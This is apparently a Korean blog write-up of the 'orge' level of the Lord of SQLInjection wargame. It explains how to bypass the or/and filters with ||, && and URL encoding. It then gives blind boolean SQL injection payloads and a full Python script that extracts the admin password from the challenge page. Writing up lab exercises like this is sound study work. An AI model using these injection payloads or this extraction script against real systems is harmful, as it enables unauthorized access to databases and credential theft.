우선 이번문제를 푼결과 drakelf, wolfman, orc 이 세개의 문제가 종합세트로 나온 문제이다. 해당문제는 개인적으로
or Bypass, Blind SQL Injection, 브라우저에서 필터링되는 &문자의 Bypass, 그리고 Exploit Code 스킬이 요구되는 것 같다.
소스 코드를 보자
소스코드를 해석하면 아래와 같다.
GET 으로 pw 파라미터를 받은다음 pw 값에 prob, _ , . , () 문자를 필터링하고 No Hack 을 출력한다.
또한 pw 값에 or 혹은 and 문자를 필터링하고 HeHe 를 출력한다.
그리고 만약 row 가 존재하면 그 row 에서 id 컬럼 값을 출력해준다. (Hello ID 포맷)
또한, id 가 admin 이고 pw 를 검사하는 쿼리를 실행한다.
실행한 쿼리에 row 의 pw 컬럼값이 존재하고, GET으로 보낸 pw 값과 pw 컬럼값이 같으면 해당 문제가 해결된다.
' || 1=1 %23 을 입력하면 Hello guest 가 출력된다.
' 은 쿼리를 where id='guest' and pw='' 로 만들어주어 해당 쿼리의 결과가 emtpy set 이 나오게 만들었다. 그리고
|| 1=1 로 or 우회해줌과 동시에 1=1 로 where 절이 무한루프처럼 True 로 만들어주었고, 이렇게 되면 emtpy set 에서 모든 row 가 뽑히게 된다.
마지막으로 # 를 URL 인코딩한 %23 으로 우회해주었으며. 아래 사진에 있는 마지막 ' 를 무효처리 시켜주었다.
이렇게되면 서버에서 진짜 실행되는 쿼리는 select id from prob_orge where id='guest' and pw='' || 1=1 가 되는데,
select id from prob_orge where id='guest' and pw='' 는 emtpy set (빈값) 이 된다. 하지만,
|| 1=1 때문에 where 절이 True 가 되어 모든 row 가 출력된다. 여기서 최상단의 row 의 id 컬럼이 guest 이기 때문에
Hello guest 가 뜨는 것이다.
이제 여기서 guest 를 admin 으로 바꿔주어야 한다. 내가 항상 사용해오던 limit 문을 이용해서 admin으로 바꿔줄수 있지만, 이 방식으로 하면 admin 의 pw 를 db에서 빼내기 굉장히 어렵다.
내가 선택한 방식은 그냥 1=1 를 id='admin' 으로 바꾸어주었다. 그러면 1=1 를 사용해서 모든 row 가 뽑혔던 것과 달리
id 가 admin 인 row 하나만 출력될 것이다. 아래 사진을 보면 알 수 있을 것이다.
여기서부터 중요하다. 문제의 부분은 admin의 pw 를 검사하는 부분인데
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 에서
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
부분을 우회해준다해도
GET 으로 받은 pw 와 쿼리에서 출력된 pw 값의 일치를 검사하는 아래의 php 코드에서 막혀버린다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
따라서 Blind SQL Injection 을 사용하여 admin 의 pw 를 빼내야한다.
우선 앞에 과정에서 쿼리에 admin 만 출력되게 쿼리를 만들어놨기 때문에 바로 인젝션 포인트만 찾으면 된다.
아래 사진을 보면 쿼리에 && 가 추가되어있고, 쿼리스트링쪽에는 %26%26 이 추가되어있다.
이는 문제에서 and 를 막아두어서 && 를 추가하였지만 브라우저에서 필터링하고있어서 URL 인코딩하여 보낸 것이다.
또한 눈여겨보아야 하는 부분이 한곳이 더있다.
id='admin' && 1=2 를 인젝션했더니 Hello admin 이 출력되지않았다.
id='admin' 에서 하나의 admin row 가 나올 것이다. 그리고 1=2 는 False 이기 때문에, 쿼리가 empty set(빈값)일 것이다.
1개의 admin row와 empty set 를 &&하면 쿼리가 나오지 않는 것은 당연하다.
이제 id='admin' && 1=1 를 인젝션했더니 Hello admin 이 다시 출력된다.
id='admin' 에서 하나의 admin row가 나올 것이다. 그리고 1=1 는 True 이기 때문에, 모든 쿼리가 다 출력될 것이다.
1개의 admin row 와 모든 row 를 && 하면 당연히 admin row 가 겹쳐 admin row 만 출력될것이다.
위에 설명이 Blind SQL Injection 포인트이다. && 뒤에 나오는 값에 따라 참과 거짓을 구분할 수 있기 떄문이다.
어짜피 && 1=1 을 제외한 쿼리인 select id from prob_orge where id='guest' and pw='' || id='admin' 는
결과로 admin row 만 출력하기 때문에 select id from prob_orge where id='guest' and pw='' || id='admin' 쿼리에서
pw 를 하나씩 알아가면된다.
아래의 사진을 보면 ascii(substr(pw,1,1)) > 33 을 통해 admin 의 pw 컬럼의 첫번째 글자가 ASCII 코드 33 보다 크냐는 쿼리에서 True 를 나타내어 Hello admin 이 나타나고 있다. 기준인 33 은 숫자,영문,특수문자 포함하여 가장 작은 ASCII 값이다.
반대로 ascii(substr(pw,1,1)) < 33 를 하면 거짓이 나오는 것을 확인 가능하다.
pw 첫글자는 pw로 사용할 수 있는 ASCII 코드 33 보다 큼이 확인되었으니 > 를 = 로 바꾸고 ASCII 코드 값을 늘려가며 대소비교를 하며 pw 의 한글자씩 찾아가면된다.
Exploit 코드는 아래와 같다
#!/usr/bin/env python
import requests
from bs4 import BeautifulSoup
import time
"""
__AUTHOR__ : revi1337
__DATE__ : 2022-11-15
Boolean Based SQL Injection Exploit Code
"""
def main():
url = r"https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
haeders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0"}
cookies = {"PHPSESSID": "t8eftn5in6ef6mdc4majk4rh8e"}
credentials = []
for v in range(1,31):
cnt = 0
with requests.Session() as session:
for i in range(33,127):
payloads = {"pw": "' || (id='admin' && ascii(substr(pw,{},1)) = {}) #".format(v, i)}
res = session.get(url = url, headers = haeders, cookies = cookies, params = payloads).text
res = BeautifulSoup(res, 'lxml').findAll('h2')
if res:
print("[!] Find {}th Value : {} ".format(v, chr(i)))
credentials.append(chr(i))
break
elif not res:
cnt += 1
if cnt == len(range(33,127)):
break
print()
print("[+] Task Done! Final Password : {}".format("".join(credentials)))
if __name__ == '__main__':
start_time = time.perf_counter()
main()
end_time = time.perf_counter()
print()
print("[*] Total Time : {}".format(end_time - start_time))
Clear ~
조심해야할것은 쿼리 잘못보내면 guest 비번을 뽑을 수도 있다..
'WebHacking > Lord of SQLInjection' 카테고리의 다른 글
vampire (0) | 2022.11.17 |
---|---|
troll (0) | 2022.11.17 |
darkelf (0) | 2022.11.15 |
wolfman (0) | 2022.11.15 |
orc (0) | 2022.11.15 |